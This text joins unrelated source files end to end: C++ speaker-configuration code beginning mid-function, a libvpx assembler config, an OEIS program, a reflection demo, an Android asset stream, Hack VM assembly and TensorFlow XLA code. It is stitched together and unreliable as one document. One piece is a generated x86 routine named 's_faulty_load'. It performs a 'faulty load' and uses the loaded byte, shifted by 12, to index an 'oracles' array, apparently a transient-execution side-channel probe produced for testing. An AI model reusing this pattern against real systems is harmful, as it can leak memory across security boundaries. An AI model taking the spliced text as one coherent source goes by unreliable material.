ut_it != m_utterance_config.end(); ut_it++) { if (utterances == NULL || utterances->find((*ut_it).first) != utterances->end()) { fprintf(file, "utterance %s\n{\n", (*ut_it).first.c_str()); for (ModuleMap::const_iterator module_it = (*ut_it).second.begin(); module_it != (*ut_it).second.end(); module_it++) { fprintf(file, " %s\n", (*module_it).first.c_str()); (*module_it).second.write(file, 2); fputs("\n", file); } fputs("}\n\n",file); } } } void SpeakerConfig::set_speaker(const std::string &speaker_id) { if (m_cur_speaker.size() > 0) retrieve_speaker_config(m_cur_speaker); // Reset the utterance if (m_cur_utterance.size() > 0) set_utterance(""); bool load_new_model_trans = false; if(speaker_id != m_cur_speaker) { // Reset model transformations m_model_trans.reset_transforms(); } if(m_model_trans.is_reset()) load_new_model_trans = true; if (speaker_id.size() == 0) { // Use the default speaker if (!m_default_speaker_set) throw std::string("SpeakerConfig: No speaker defined, needs a default speaker."); set_modules(m_default_speaker_config, load_new_model_trans); } else { SpeakerMap::const_iterator speaker_it = m_speaker_config.find(speaker_id); if (speaker_it == m_speaker_config.end()) { if (!m_default_speaker_set) throw std::string("SpeakerConfig: Unknown speaker ") + speaker_id + ", and default speaker settings are missing."; // Insert a new speaker with default configuration SpeakerMap::value_type v(speaker_id, m_default_speaker_config); speaker_it = m_speaker_config.insert(v).first; } set_modules((*speaker_it).second, load_new_model_trans); } m_cur_speaker = speaker_id; if(load_new_model_trans) m_model_trans.load_transforms(); } void SpeakerConfig::set_utterance(const std::string &utterance_id) { if (m_cur_utterance.size() > 0) retrieve_utterance_config(m_cur_utterance); if (utterance_id.size() == 0) { // Use the default utterance if (!m_default_utterance_set) throw std::string("SpeakerConfig: Default utterance is required."); set_modules(m_default_utterance_config); } else { SpeakerMap::const_iterator ut_it = m_utterance_config.find(utterance_id); if (ut_it == m_utterance_config.end()) { if (!m_default_utterance_set) throw std::string("SpeakerConfig: Unknown utterance ") + utterance_id + ", and default utterance settings are missing."; // Insert a new utterance with default configuration SpeakerMap::value_type v(utterance_id, m_default_utterance_config); ut_it = m_utterance_config.insert(v).first; } set_modules((*ut_it).second); } m_cur_utterance = utterance_id; } void SpeakerConfig::retrieve_speaker_config(const std::string &speaker_id) { SpeakerMap::iterator speaker_it = m_speaker_config.find(speaker_id); if (speaker_it == m_speaker_config.end()) throw std::string("SpeakerConfig: Unknown speaker ") + speaker_id; for (ModuleMap::iterator module_it = (*speaker_it).second.begin(); module_it != (*speaker_it).second.end(); module_it++) { std::vector<std::string> parts; str::split(&(*module_it).first, " \t", true, &parts, 2); if(parts[0] == "feature") m_fea_gen.module(parts[1])->get_parameters((*module_it).second); if(parts[0] == "model") m_model_trans.module(parts[1])->get_parameters((*module_it).second); } } void SpeakerConfig::retrieve_utterance_config(const std::string &utterance_id) { SpeakerMap::iterator utterance_it = m_utterance_config.find(utterance_id); if (utterance_it == m_utterance_config.end()) throw std::string("SpeakerConfig: Unknown utterance ") + utterance_id; for (ModuleMap::iterator module_it = (*utterance_it).second.begin(); module_it != (*utterance_it).second.end(); module_it++) { std::vector<std::string> parts; str::split(&(*module_it).first, " \t", true, &parts, 2); if(parts[0] == "feature") m_fea_gen.module(parts[1])->set_parameters((*module_it).second); if(parts[0] == "model") m_model_trans.module(parts[1])->set_parameters((*module_it).second); } } void SpeakerConfig::set_modules(const ModuleMap &modules, bool load_new_model_trans) { for (ModuleMap::const_iterator module_it=modules.begin(); module_it != modules.end(); module_it++) { std::vector<std::string> parts; str::split(&(*module_it).first, " \t", true, &parts, 2); if(parts[0] == "feature") m_fea_gen.module(parts[1])->set_parameters((*module_it).second); if(parts[0] == "model") m_model_trans.module(parts[1])->set_parameters((*module_it).second); } } }
@ This file was created from a .asm file @ using the ads2gas.pl script. .equ DO1STROUNDING, 0 .equ ARCH_ARM , 0 .equ ARCH_MIPS , 0 .equ ARCH_X86 , 0 .equ ARCH_X86_64 , 0 .equ HAVE_EDSP , 0 .equ HAVE_MEDIA , 0 .equ HAVE_NEON , 0 .equ HAVE_NEON_ASM , 0 .equ HAVE_MIPS32 , 0 .equ HAVE_DSPR2 , 0 .equ HAVE_MSA , 0 .equ HAVE_MIPS64 , 0 .equ HAVE_MMX , 0 .equ HAVE_SSE , 0 .equ HAVE_SSE2 , 0 .equ HAVE_SSE3 , 0 .equ HAVE_SSSE3 , 0 .equ HAVE_SSE4_1 , 0 .equ HAVE_AVX , 0 .equ HAVE_AVX2 , 0 .equ HAVE_VPX_PORTS , 1 .equ HAVE_STDINT_H , 1 .equ HAVE_PTHREAD_H , 1 .equ HAVE_SYS_MMAN_H , 1 .equ HAVE_UNISTD_H , 0 .equ CONFIG_DEPENDENCY_TRACKING , 1 .equ CONFIG_EXTERNAL_BUILD , 1 .equ CONFIG_INSTALL_DOCS , 0 .equ CONFIG_INSTALL_BINS , 1 .equ CONFIG_INSTALL_LIBS , 1 .equ CONFIG_INSTALL_SRCS , 0 .equ CONFIG_USE_X86INC , 0 .equ CONFIG_DEBUG , 0 .equ CONFIG_GPROF , 0 .equ CONFIG_GCOV , 0 .equ CONFIG_RVCT , 0 .equ CONFIG_GCC , 1 .equ CONFIG_MSVS , 0 .equ CONFIG_PIC , 1 .equ CONFIG_BIG_ENDIAN , 0 .equ CONFIG_CODEC_SRCS , 0 .equ CONFIG_DEBUG_LIBS , 0 .equ CONFIG_DEQUANT_TOKENS , 0 .equ CONFIG_DC_RECON , 0 .equ CONFIG_RUNTIME_CPU_DETECT , 0 .equ CONFIG_POSTPROC , 1 .equ CONFIG_VP9_POSTPROC , 1 .equ CONFIG_MULTITHREAD , 1 .equ CONFIG_INTERNAL_STATS , 0 .equ CONFIG_VP8_ENCODER , 1 .equ CONFIG_VP8_DECODER , 1 .equ CONFIG_VP9_ENCODER , 1 .equ CONFIG_VP9_DECODER , 1 .equ CONFIG_VP8 , 1 .equ CONFIG_VP9 , 1 .equ CONFIG_ENCODERS , 1 .equ CONFIG_DECODERS , 1 .equ CONFIG_STATIC_MSVCRT , 0 .equ CONFIG_SPATIAL_RESAMPLING , 1 .equ CONFIG_REALTIME_ONLY , 1 .equ CONFIG_ONTHEFLY_BITPACKING , 0 .equ CONFIG_ERROR_CONCEALMENT , 0 .equ CONFIG_SHARED , 0 .equ CONFIG_STATIC , 1 .equ CONFIG_SMALL , 0 .equ CONFIG_POSTPROC_VISUALIZER , 0 .equ CONFIG_OS_SUPPORT , 1 .equ CONFIG_UNIT_TESTS , 0 .equ CONFIG_WEBM_IO , 1 .equ CONFIG_LIBYUV , 1 .equ CONFIG_DECODE_PERF_TESTS , 0 .equ CONFIG_ENCODE_PERF_TESTS , 0 .equ CONFIG_MULTI_RES_ENCODING , 1 .equ CONFIG_TEMPORAL_DENOISING , 1 .equ CONFIG_VP9_TEMPORAL_DENOISING , 1 .equ CONFIG_COEFFICIENT_RANGE_CHECKING , 0 .equ CONFIG_VP9_HIGHBITDEPTH , 0 .equ CONFIG_EXPERIMENTAL , 0 .equ CONFIG_SIZE_LIMIT , 1 .equ CONFIG_SPATIAL_SVC , 0 .equ CONFIG_FP_MB_STATS , 0 .equ CONFIG_EMULATE_HARDWARE , 0 .equ DECODE_WIDTH_LIMIT , 16384 .equ DECODE_HEIGHT_LIMIT , 16384 .section .note.GNU-stack,"",%progbits
; A036498: Numbers of the form m*(6*m-1) and m*(6*m+1), where m is an integer. ; 0,5,7,22,26,51,57,92,100,145,155,210,222,287,301,376,392,477,495,590,610,715,737,852,876,1001,1027,1162,1190,1335,1365,1520,1552,1717,1751,1926,1962,2147,2185,2380,2420,2625,2667,2882,2926,3151,3197,3432,3480,3725,3775,4030,4082,4347,4401,4676,4732,5017,5075,5370,5430,5735,5797,6112,6176,6501,6567,6902,6970,7315,7385,7740,7812,8177,8251,8626,8702,9087,9165,9560,9640,10045,10127,10542,10626,11051,11137,11572,11660,12105,12195,12650,12742,13207,13301,13776,13872,14357,14455,14950,15050,15555,15657,16172,16276,16801,16907,17442,17550,18095,18205,18760,18872,19437,19551,20126,20242,20827,20945,21540,21660,22265,22387,23002,23126,23751,23877,24512,24640,25285,25415,26070,26202,26867,27001,27676,27812,28497,28635,29330,29470,30175,30317,31032,31176,31901,32047,32782,32930,33675,33825,34580,34732,35497,35651,36426,36582,37367,37525,38320,38480,39285,39447,40262,40426,41251,41417,42252,42420,43265,43435,44290,44462,45327,45501,46376,46552,47437,47615,48510,48690,49595,49777,50692,50876,51801,51987,52922,53110,54055,54245,55200,55392,56357,56551,57526,57722,58707,58905,59900,60100,61105,61307,62322,62526,63551,63757,64792,65000,66045,66255,67310,67522,68587,68801,69876,70092,71177,71395,72490,72710,73815,74037,75152,75376,76501,76727,77862,78090,79235,79465,80620,80852,82017,82251,83426,83662,84847,85085,86280,86520,87725,87967,89182,89426,90651,90897,92132,92380,93625 mul $0,2 mov $2,$0 lpb $2,1 add $1,$0 add $0,4 add $1,3 trn $2,4 lpe
// Project: libv, File: sandbox/libv_reflection_main.cpp, Author: Császár Mátyás [Vader] // libv #include <libv/meta/for_constexpr.hpp> #include <libv/meta/reflection.hpp> #include <libv/serial/reflection.hpp> #include <libv/serial/serial.hpp> #include <libv/utility/member_offset.hpp> // std #include <iomanip> #include <iostream> #include <optional> #include <string> #include <string_view> // ------------------------------------------------------------------------------------------------- template <typename T> using UpdateField = std::optional<T>; template <typename T> using StateField = T; template <template <template <typename> class> class FieldSet> struct Update : FieldSet<UpdateField> { }; template <template <template <typename> class> class FieldSet> struct State : FieldSet<StateField> { State& operator+=(const Update<FieldSet>& update) { libv::meta::interleave_member_reference([](auto& lhs, const auto& rhs) { if (rhs) lhs = *rhs; }, *this, update); return *this; } Update<FieldSet> operator-(const State<FieldSet>& rhsState) { Update<FieldSet> resultUpdate; libv::meta::interleave_member_reference([](auto& result, const auto& lhs, const auto& rhs) { if (lhs != rhs) result = lhs; }, resultUpdate, *this, rhsState); return resultUpdate; } }; // ------------------------------------------------------------------------------------------------- template <template <typename> class Field> struct ServerFieldSet { Field<bool> has_mod{}; Field<bool> has_password{}; Field<uint16_t> players_current{}; Field<uint16_t> players_limit{}; Field<std::string> map{}; Field<std::string> name{}; LIBV_REFLECTION_ACCESS(has_mod); LIBV_REFLECTION_ACCESS(has_password); LIBV_REFLECTION_ACCESS(players_current); LIBV_REFLECTION_ACCESS(players_limit); LIBV_REFLECTION_ACCESS(map); LIBV_REFLECTION_ACCESS(name); LIBV_SERIALIZATION_ENABLE_REFLECTION(); }; // ------------------------------------------------------------------------------------------------- template <typename T> auto printHeader = [] () { std::cout << " "; libv::meta::foreach_static_member_name<T>([] (const auto& name) { std::cout << "| " << std::setw(11) << std::string_view(name).substr(0, 11) << ' '; }); std::cout << '\n'; std::cout << "-------"; libv::meta::for_constexpr<0, libv::meta::member_count_v<T>>([](auto) { std::cout << "+-------------"; }); std::cout << '\n'; }; auto printRow = [] (const auto& obj) { std::cout << "State "; libv::meta::foreach_member_reference(obj, [] (const auto& value) { std::cout << "| \u001B[36m" << std::setw(11) << value << "\u001B[0m "; }); std::cout << '\n'; }; auto printUpdate = [] (const auto& obj) { std::cout << "Update "; libv::meta::foreach_member_reference(obj, [] (const auto& value) { if (value) std::cout << "| \u001B[33m" << std::setw(11) << *value << "\u001B[0m "; else std::cout << "| ~ "; }); std::cout << '\n'; }; int main(int, char**) { // using ServerID = uint64_t; // const auto serverID = ServerID{29444}; // // libv::meta::Table<ServerID, ServerFieldSet> table; std::cout << std::boolalpha; printHeader<State<ServerFieldSet>>(); Update<ServerFieldSet> update00; update00.has_mod = true; update00.has_password = false; update00.map = "Disk v1"; update00.name = "Liviotora"; update00.players_current = 4; Update<ServerFieldSet> update01; update01.map = "Spiral v1"; update01.players_current = 6; update01.players_limit = 8; State<ServerFieldSet> row1; printRow(row1); printUpdate(update00); row1 += update00; printRow(row1); printUpdate(update01); row1 += update01; printRow(row1); std::cout << "\n\n"; // ----- Update<ServerFieldSet> update10; update00.has_password = true; update10.map = "Spiral v2"; State<ServerFieldSet> row2; printRow(row2); printUpdate(update10); row2 += update10; printRow(row2); auto diff = row2 - row1; printUpdate(diff); row1 += diff; auto diff2 = row2 - row1; printUpdate(diff2); // TODO P5: create a proper unit test for reflection libv::meta::foreach_static_member_pointer<decltype(row1)>([](auto&& member_pointer) { std::cout << libv::member_offset(member_pointer) << ", "; }); std::cout << std::endl; libv::meta::foreach_static_member_pointer<decltype(update00)>([](auto&& member_pointer) { std::cout << libv::member_offset(member_pointer) << ", "; }); std::cout << std::endl; constexpr int num_uint16_t_members = [] { int i = 0; libv::meta::foreach_static_member<State<ServerFieldSet>>([&i](auto member) { if (std::is_same_v<typename decltype(member)::value_type, uint16_t>) ++i; }); return i; }(); std::cout << "num_uint16_t_members: " << num_uint16_t_members << std::endl; return 0; } // =================================================================================================
// Copyright 2021 The DaisyKit Authors. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include "daisykitsdk/common/io/android_assets_stream.h" AssetStreambuf::AssetStreambuf(AAssetManager* manager, const std::string& filename) : manager(manager) { asset = AAssetManager_open(manager, filename.c_str(), AASSET_MODE_STREAMING); buffer.resize(1024); setg(0, 0, 0); setp(&buffer.front(), &buffer.front() + buffer.size()); } AssetStreambuf::~AssetStreambuf() { sync(); AAsset_close(asset); } std::streambuf::int_type AssetStreambuf::underflow() { auto bufferPtr = &buffer.front(); auto counter = AAsset_read(asset, bufferPtr, buffer.size()); if (counter == 0) return traits_type::eof(); if (counter < 0) // error, what to do now? return traits_type::eof(); setg(bufferPtr, bufferPtr, bufferPtr + counter); return traits_type::to_int_type(*gptr()); } std::streambuf::int_type AssetStreambuf::overflow( std::streambuf::int_type value) { return traits_type::eof(); }; int AssetStreambuf::sync() { std::streambuf::int_type result = overflow(traits_type::eof()); return traits_type::eq_int_type(result, traits_type::eof()) ? -1 : 0; } AssetIStream::AssetIStream(AAssetManager* manager, const std::string& file) : std::istream(new AssetStreambuf(manager, file)) {} AssetIStream::AssetIStream(const std::string& file) : std::istream(new AssetStreambuf(manager, file)) {} AssetIStream::~AssetIStream() { delete rdbuf(); } void AssetIStream::SetAssetManager(AAssetManager* m) { manager = m; } AAssetManager* AssetIStream::manager;
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %r15 push %rbp push %rdi lea addresses_normal_ht+0x23b5, %r15 nop nop lfence movb (%r15), %r10b nop nop nop nop nop xor $56361, %rbp pop %rdi pop %rbp pop %r15 pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r14 push %r15 push %r8 push %rbp push %rbx push %rdx push %rsi // Store lea addresses_normal+0x18bb1, %r15 nop nop nop nop sub $44471, %r8 movb $0x51, (%r15) nop nop nop nop xor $40532, %r15 // Store lea addresses_WT+0x47f1, %r8 nop nop nop nop nop xor %rdx, %rdx movb $0x51, (%r8) nop nop nop nop nop xor $7867, %r8 // Store mov $0x491, %rsi clflush (%rsi) nop nop dec %rdx movb $0x51, (%rsi) nop nop nop add $64409, %rbx // Store lea addresses_A+0xce23, %r15 nop nop xor %rbx, %rbx movb $0x51, (%r15) nop nop nop nop cmp $22325, %rsi // Store lea addresses_WC+0x152f1, %rsi nop cmp $31025, %rdx mov $0x5152535455565758, %r14 movq %r14, %xmm3 movups %xmm3, (%rsi) nop nop nop add %r14, %r14 // Store lea addresses_PSE+0x67f1, %r14 nop nop nop nop nop sub %rbp, %rbp mov $0x5152535455565758, %rbx movq %rbx, %xmm2 vmovups %ymm2, (%r14) nop nop add %rsi, %rsi // Store lea addresses_A+0xaf91, %rbx nop nop sub %r15, %r15 mov $0x5152535455565758, %rdx movq %rdx, %xmm1 vmovups %ymm1, (%rbx) nop dec %rdx // Store mov $0xbf1, %rdx nop nop nop add $40975, %r15 movw $0x5152, (%rdx) nop nop nop nop xor $26976, %rbx // Store lea addresses_WT+0x474b, %r14 add %r15, %r15 movb $0x51, (%r14) nop nop nop nop and $18872, %rsi // Faulty Load lea addresses_A+0x16ff1, %rbx nop nop nop nop cmp $52166, %rbp movb (%rbx), %dl lea oracles, %rbp and $0xff, %rdx shlq $12, %rdx mov (%rbp,%rdx,1), %rdx pop %rsi pop %rdx pop %rbx pop %rbp pop %r8 pop %r15 pop %r14 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_A', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_normal', 'same': False, 'size': 1, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WT', 'same': False, 'size': 1, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_P', 'same': False, 'size': 1, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_A', 'same': False, 'size': 1, 'congruent': 1, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WC', 'same': False, 'size': 16, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_PSE', 'same': False, 'size': 32, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_A', 'same': False, 'size': 32, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_P', 'same': False, 'size': 2, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WT', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_A', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'00': 14} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
; void *w_array_front(w_array_t *a) SECTION code_clib SECTION code_adt_w_array PUBLIC w_array_front EXTERN asm_w_array_front defc w_array_front = asm_w_array_front ; SDCC bridge for Classic IF __CLASSIC PUBLIC _w_array_front defc _w_array_front = w_array_front ENDIF
@256 D=A @SP M=D @5 D=A @R13 M=D @Sys.init D=A @R14 M=D @Sys.init$ret0 D=A @VM$CALL 0;JMP (Sys.init$ret0) (VM$STOP) @VM$STOP 0;JMP (VM$CALL) @SP AM=M+1 A=A-1 M=D @LCL D=M @SP AM=M+1 A=A-1 M=D @ARG D=M @SP AM=M+1 A=A-1 M=D @THIS D=M @SP AM=M+1 A=A-1 M=D @THAT D=M @SP AM=M+1 A=A-1 M=D @R13 D=M @SP D=M-D @ARG M=D @R14 A=M 0;JMP (VM$RETURN) @5 D=A @LCL A=M-D D=M @R13 M=D @SP AM=M-1 D=M @ARG A=M M=D D=A @SP M=D+1 @LCL D=M @R14 AM=D-1 D=M @THAT M=D @R14 AM=M-1 D=M @THIS M=D @R14 AM=M-1 D=M @ARG M=D @R14 AM=M-1 D=M @LCL M=D @R13 A=M 0;JMP // function Class1.set 0 (Class1.set) @SP D=M @LCL M=D // push argument 0 and pop static 0 inplace @ARG A=M D=M @Class1.0 M=D // push argument 1 and pop static 1 inplace @ARG A=M+1 D=M @Class1.1 M=D // push constant 0 @0 D=A @SP AM=M+1 A=A-1 M=D // return @VM$RETURN 0;JMP // function Class1.get 0 (Class1.get) @SP D=M @LCL M=D // push static 0 @Class1.0 D=M @SP AM=M+1 A=A-1 M=D // push static 1 @Class1.1 D=M @SP AM=M+1 A=A-1 M=D // sub @SP AM=M-1 D=M @SP A=M-1 M=M-D // return @VM$RETURN 0;JMP // function Class2.set 0 (Class2.set) @SP D=M @LCL M=D // push argument 0 and pop static 0 inplace @ARG A=M D=M @Class2.0 M=D // push argument 1 and pop static 1 inplace @ARG A=M+1 D=M @Class2.1 M=D // push constant 0 @0 D=A @SP AM=M+1 A=A-1 M=D // return @VM$RETURN 0;JMP // function Class2.get 0 (Class2.get) @SP D=M @LCL M=D // push static 0 @Class2.0 D=M @SP AM=M+1 A=A-1 M=D // push static 1 @Class2.1 D=M @SP AM=M+1 A=A-1 M=D // sub @SP AM=M-1 D=M @SP A=M-1 M=M-D // return @VM$RETURN 0;JMP // function Sys.init 0 (Sys.init) @SP D=M @LCL M=D // push constant 6 @6 D=A @SP AM=M+1 A=A-1 M=D // push constant 8 @8 D=A @SP AM=M+1 A=A-1 M=D // call Class1.set 2 @7 D=A @R13 M=D @Class1.set D=A @R14 M=D @Class1.set$ret1 D=A @VM$CALL 0;JMP (Class1.set$ret1) // pop temp 0 @SP AM=M-1 D=M @5 M=D // push constant 23 @23 D=A @SP AM=M+1 A=A-1 M=D // push constant 15 @15 D=A @SP AM=M+1 A=A-1 M=D // call Class2.set 2 @7 D=A @R13 M=D @Class2.set D=A @R14 M=D @Class2.set$ret2 D=A @VM$CALL 0;JMP (Class2.set$ret2) // pop temp 0 @SP AM=M-1 D=M @5 M=D // call Class1.get 0 @5 D=A @R13 M=D @Class1.get D=A @R14 M=D @Class1.get$ret3 D=A @VM$CALL 0;JMP (Class1.get$ret3) // call Class2.get 0 @5 D=A @R13 M=D @Class2.get D=A @R14 M=D @Class2.get$ret4 D=A @VM$CALL 0;JMP (Class2.get$ret4) // label WHILE (Sys.init$WHILE) // goto WHILE @Sys.init$WHILE 0;JMP
/* Copyright 2020 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==============================================================================*/ #include "tensorflow/compiler/xla/python/py_executable.h" #include "absl/algorithm/container.h" #include "tensorflow/core/platform/fingerprint.h" namespace xla { namespace py = pybind11; PyExecutable::PyExecutable(std::shared_ptr<PyClient> client, std::unique_ptr<PjRtExecutable> executable, std::shared_ptr<Traceback> traceback, absl::optional<std::string> fingerprint) : client_(std::move(client)), executable_(std::move(executable)), traceback_(std::move(traceback)), fingerprint_(std::move(fingerprint)) { CHECK(PyGILState_Check()); next_ = client_->executables_; client_->executables_ = this; prev_ = nullptr; if (next_) { next_->prev_ = this; } options_.untuple_result = true; if (fingerprint_) { options_.launch_id = tensorflow::Fingerprint32(*fingerprint_); VLOG(1) << "Fingerprint for executable " << executable_->name() << ": " << *fingerprint_; } } PyExecutable::~PyExecutable() { CHECK(PyGILState_Check()); if (client_->executables_ == this) { client_->executables_ = next_; } if (prev_) { prev_->next_ = next_; } if (next_) { next_->prev_ = prev_; } } std::vector<ClientAndPtr<PjRtDevice>> PyExecutable::AddressableDevices() const { std::vector<ClientAndPtr<PjRtDevice>> devices; devices.reserve(executable_->addressable_devices().size()); for (PjRtDevice* device : executable_->addressable_devices()) { devices.push_back(WrapWithClient(client_, device)); } return devices; } // Used by JAX JIT which has C++ PjRtBuffers as inputs (Numpy to PjRtBuffer is // faster and simpler than Numpy to PyBuffer to PjRtBuffer) and requires // PyBuffer as outputs as it will return to Python. StatusOr<std::vector<PyBuffer::object>> PyExecutable::PjRtExecute( const std::vector<PjRtBuffer*>& args) { std::vector<std::vector<std::unique_ptr<PjRtBuffer>>> output_buffers; { py::gil_scoped_release gil_release; TF_ASSIGN_OR_RETURN(output_buffers, executable_->Execute({args}, options_)); } auto traceback = Traceback::Get(); std::vector<PyBuffer::object> outputs; outputs.reserve(output_buffers[0].size()); for (auto& buffer : output_buffers[0]) { outputs.push_back(PyBuffer::Make(client_, std::move(buffer), traceback)); } return outputs; } StatusOr<std::vector<PyBuffer::object>> PyExecutable::Execute( absl::Span<PyBuffer::object const> args) { std::vector<std::vector<std::unique_ptr<PjRtBuffer>>> output_buffers; { py::gil_scoped_release gil_release; std::vector<PjRtBuffer*> arg_buffers(args.size()); absl::c_transform( args, arg_buffers.begin(), [](const PyBuffer::object& buf) { return buf.buf()->buffer(); }); TF_ASSIGN_OR_RETURN(output_buffers, executable_->Execute({arg_buffers}, options_)); } auto traceback = Traceback::Get(); std::vector<PyBuffer::object> outputs; outputs.reserve(output_buffers[0].size()); for (auto& buffer : output_buffers[0]) { outputs.push_back(PyBuffer::Make(client_, std::move(buffer), traceback)); } return outputs; } StatusOr<std::vector<std::vector<PyBuffer::object>>> PyExecutable::ExecuteShardedOnLocalDevices( absl::Span<const std::vector<PyBuffer::object>> args) { std::vector<std::vector<std::unique_ptr<PjRtBuffer>>> output_buffers; int num_computations = executable_->addressable_devices().size(); { py::gil_scoped_release gil_release; for (const auto& arg : args) { if (arg.size() != num_computations) { return xla::InvalidArgument( "Expected args to execute_sharded_on_local_devices to have %d " "shards, got: [%s]", num_computations, absl::StrJoin( args, ", ", [](std::string* out, const std::vector<PyBuffer::object>& arg) { out->append(std::to_string(arg.size())); })); } } std::vector<std::vector<PjRtBuffer*>> arg_buffers(num_computations); const int num_args = args.size(); for (int computation = 0; computation < num_computations; ++computation) { arg_buffers[computation].resize(num_args); absl::c_transform(args, arg_buffers[computation].begin(), [&](const std::vector<PyBuffer::object>& arg) { return arg[computation].buf()->buffer(); }); } TF_ASSIGN_OR_RETURN(output_buffers, executable_->Execute(arg_buffers, options_)); } auto traceback = Traceback::Get(); int num_output_buffers = output_buffers[0].size(); std::vector<std::vector<PyBuffer::object>> outputs; outputs.resize(num_output_buffers); for (int buffer_id = 0; buffer_id < num_output_buffers; ++buffer_id) { outputs[buffer_id].reserve(num_computations); for (int computation = 0; computation < num_computations; ++computation) { outputs[buffer_id].push_back(PyBuffer::Make( client_, std::move(output_buffers[computation][buffer_id]), traceback)); } } return outputs; } StatusOr<std::vector<std::shared_ptr<HloModule>>> PyExecutable::HloModules() const { return executable_->GetHloModules(); } } // namespace xla